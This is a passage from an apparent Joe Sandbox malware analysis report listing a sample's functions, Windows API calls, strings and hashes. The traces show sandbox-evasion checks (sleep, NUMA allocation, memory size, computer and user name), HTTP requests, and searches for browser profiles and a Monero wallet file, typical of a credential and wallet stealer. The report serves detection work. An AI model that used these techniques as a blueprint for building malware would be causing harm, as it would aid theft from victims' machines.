Opcode Fuzzy Hash: 5f4d6395aff1af8d8e5bdd92b013dcde451f995f85316a5ed3a18b026028e5fa
Instruction Fuzzy Hash: A131D4B1900608AADB06FBA0DC57FEE7778AB14344F50451CF602EA191EF746D05DBA6

Function 003C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01089298,?,003D110C,?,00000000,?,003D1110,?,00000000,003D0AEF), ref: 003C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 003C6AE8
CloseHandle.KERNEL32(00000000), ref: 003C6AF9
Sleep.KERNEL32(00001770), ref: 003C6B04
CloseHandle.KERNEL32(?,00000000,?,01089298,?,003D110C,?,00000000,?,003D1110,?,00000000,003D0AEF), ref: 003C6B1A
ExitProcess.KERNEL32 ref: 003C6B22

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: dde687d3e1cacb85eee3832ba1ad9aad4cff4b57f1e897f886f6e92b1ce29633
Instruction ID: 483a6fe3f105f22673f84626d20af7d365911afde9ce3215cf9d07bec748271c
Opcode Fuzzy Hash: dde687d3e1cacb85eee3832ba1ad9aad4cff4b57f1e897f886f6e92b1ce29633
Instruction Fuzzy Hash: E4F058B4A44209ABE702ABA1DC0BFBE7B78EB14741F10451CB507E91C1DBB46D44EBA7

Function 003B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

Strings

<, xrefs: 003B47C9

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 89f6470eeb59027e22e83f974124519fd4591873070e673046bcc8ce0b4b5280
Instruction ID: c4578cf0b6b745727a2bb065fa3cbb2b6c6989891ea293b4bac6185a058de939
Opcode Fuzzy Hash: 89f6470eeb59027e22e83f974124519fd4591873070e673046bcc8ce0b4b5280
Instruction Fuzzy Hash: A12162B1D00209ABDF10DF54E845BDE7B74FB44314F108625F519AB2C1EB706A09CF81

Function 003C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B6280: InternetOpenA.WININET(003D0DFE,00000001,00000000,00000000,00000000), ref: 003B62E1
Part of subcall function 003B6280: StrCmpCA.SHLWAPI(?,0108E7B8), ref: 003B6303
Part of subcall function 003B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B6335
Part of subcall function 003B6280: HttpOpenRequestA.WININET(00000000,GET,?,0108DFD8,00000000,00000000,00400100,00000000), ref: 003B6385
Part of subcall function 003B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003B63BF
Part of subcall function 003B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003B63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003C5228

Strings

ERROR, xrefs: 003C521A
ERROR, xrefs: 003C5273

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 72d6afba42a9a7635ab712a42e80372c9dffe017e620a1566838f53fea802fb2
Instruction ID: 93db41ac6ad04fe5507e840c141d46c349189d214b7cabe1be401aafb0440ce5
Opcode Fuzzy Hash: 72d6afba42a9a7635ab712a42e80372c9dffe017e620a1566838f53fea802fb2
Instruction Fuzzy Hash: E311F570900608ABCB16FBA0D952FED7778AF50304F804558E90A8E592EF34AF06DB92

Function 003B1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 003B123E
ExitProcess.KERNEL32 ref: 003B1294

Strings

@, xrefs: 003B1233

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 8baaa6055f99996d1a8dddaa867e818f8d88bbcee3b7b26d8ebbe12d6c503de6
Instruction ID: d0b3fe46223a359b6509849882fe235cf117ee26987b39c6fac7bdee404eef2d
Opcode Fuzzy Hash: 8baaa6055f99996d1a8dddaa867e818f8d88bbcee3b7b26d8ebbe12d6c503de6
Instruction Fuzzy Hash: 05014BB0940308AAEB10EBE4DC49BAEBB78AB14705F608458F705FA280D7B46A458799

Function 003C78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7910
RtlAllocateHeap.NTDLL(00000000), ref: 003C7917
GetComputerNameA.KERNEL32(?,00000104), ref: 003C792F

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: cd78d43ffa4227cc56d301c617fc83fa6ba658972d1326f35c3bef9c8f5cdb1d
Instruction ID: 4b893b6936f5d5cc32ab2607236d1af9427bd30add2feca547593f0e9763e9da
Opcode Fuzzy Hash: cd78d43ffa4227cc56d301c617fc83fa6ba658972d1326f35c3bef9c8f5cdb1d
Instruction Fuzzy Hash: 7B0162B1904204EFC710DF98DD45FAABBB8F704B61F10421AF945E3680C37459048BA2

Function 003B1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 003B112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 003B1132
ExitProcess.KERNEL32 ref: 003B1143

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: dfd3ba0a6c18272f46cc2ba0d05b4d2d9caac028db7365aad86fb40ef4954d8c
Instruction ID: 16493c11ffa36b2e6085d8d4110f41308b8dd2d1878b7cde9bb619007dd5fa8e
Opcode Fuzzy Hash: dfd3ba0a6c18272f46cc2ba0d05b4d2d9caac028db7365aad86fb40ef4954d8c
Instruction Fuzzy Hash: 9CE086B0945308FBE7106BA0DC0AB587678EB04B45F500044F70CBA5C0C6F82605EA9A

Function 003B10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 003B10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 003B10F7

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4b48b97e0f27016e261e9784790e87f3d2f83dd221151b0afdeb34df0d4f3e33
Instruction ID: a547e31f6553f2c8b07235ca2967542b870e2044e966d081930935346246b45d
Opcode Fuzzy Hash: 4b48b97e0f27016e261e9784790e87f3d2f83dd221151b0afdeb34df0d4f3e33
Instruction Fuzzy Hash: CAF0E2B1641208BBE714ABA4AC59FBAB7E8E705B15F300448F608E7280D572AF04DAA1

Function 003B1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7910
Part of subcall function 003C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 003C7917
Part of subcall function 003C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 003C792F

Part of subcall function 003C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003B11B7), ref: 003C7880
Part of subcall function 003C7850: RtlAllocateHeap.NTDLL(00000000), ref: 003C7887
Part of subcall function 003C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 003C789F

ExitProcess.KERNEL32 ref: 003B11C6

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: ae8c213dbd60eac26982f3048f80428b95467a8d7d9ad7764d7f581ae5e72c0e
Instruction ID: 1d806d81104ee076c3e1711b2f877e85126436ec45466310670021ab372e1ef5
Opcode Fuzzy Hash: ae8c213dbd60eac26982f3048f80428b95467a8d7d9ad7764d7f581ae5e72c0e
Instruction Fuzzy Hash: BDE0ECB991430152DA0173B5AC1BF2A339C5B24749F040428FF09DA502FA29ED04DA67

Non-executed Functions

Function 003C38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003C38CC
FindFirstFileA.KERNEL32(?,?), ref: 003C38E3
lstrcat.KERNEL32(?,?), ref: 003C3935
StrCmpCA.SHLWAPI(?,003D0F70), ref: 003C3947
StrCmpCA.SHLWAPI(?,003D0F74), ref: 003C395D
FindNextFileA.KERNEL32(000000FF,?), ref: 003C3C67
FindClose.KERNEL32(000000FF), ref: 003C3C7C

Strings

%s\%s, xrefs: 003C397A
%s\%s, xrefs: 003C3A6F
%s%s, xrefs: 003C3AAD
%s\*, xrefs: 003C38C0
%s\%s\%s, xrefs: 003C3A4A

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: bcd048cacf957a2336e2eb5e211cb6919c050619fe932facd5a4b276625b5b02
Instruction ID: d100b5e6f64f0fc063cb9deafe4d031c21b507481f025fb29978c3ea73de79ce
Opcode Fuzzy Hash: bcd048cacf957a2336e2eb5e211cb6919c050619fe932facd5a4b276625b5b02
Instruction Fuzzy Hash: 3CA11FB29002189BDB25EB64DC85FFE7379BB58700F04858DE60DD6141EB759B88CF62

Function 003BBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,003D0B32,003D0B2B,00000000,?,?,?,003D13F4,003D0B2A), ref: 003BBEF5
StrCmpCA.SHLWAPI(?,003D13F8), ref: 003BBF4D
StrCmpCA.SHLWAPI(?,003D13FC), ref: 003BBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 003BC7BF
FindClose.KERNEL32(000000FF), ref: 003BC7D1

Strings

\Brave\Preferences, xrefs: 003BC1DB
Preferences, xrefs: 003BC11E
Google Chrome, xrefs: 003BC634
Brave, xrefs: 003BC102

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: fd0d50910f226d212c98d2e3c45cd025e8b90e4ad75df8cd163f43a07beab093
Instruction ID: 6df49409570f79f787eab31721544b4a32ba33fc9a0099d665ab035fcd2a5e87
Opcode Fuzzy Hash: fd0d50910f226d212c98d2e3c45cd025e8b90e4ad75df8cd163f43a07beab093
Instruction Fuzzy Hash: E7424172910208ABCB16FBA0DD56FED737DAB94304F40455CB50ADA181EE34AF49CBA2

Function 003C4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003C492C
FindFirstFileA.KERNEL32(?,?), ref: 003C4943
StrCmpCA.SHLWAPI(?,003D0FDC), ref: 003C4971
StrCmpCA.SHLWAPI(?,003D0FE0), ref: 003C4987
FindNextFileA.KERNEL32(000000FF,?), ref: 003C4B7D
FindClose.KERNEL32(000000FF), ref: 003C4B92

Strings

%s\*, xrefs: 003C4920
%s\%s, xrefs: 003C49FB
%s\%s, xrefs: 003C49A4

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
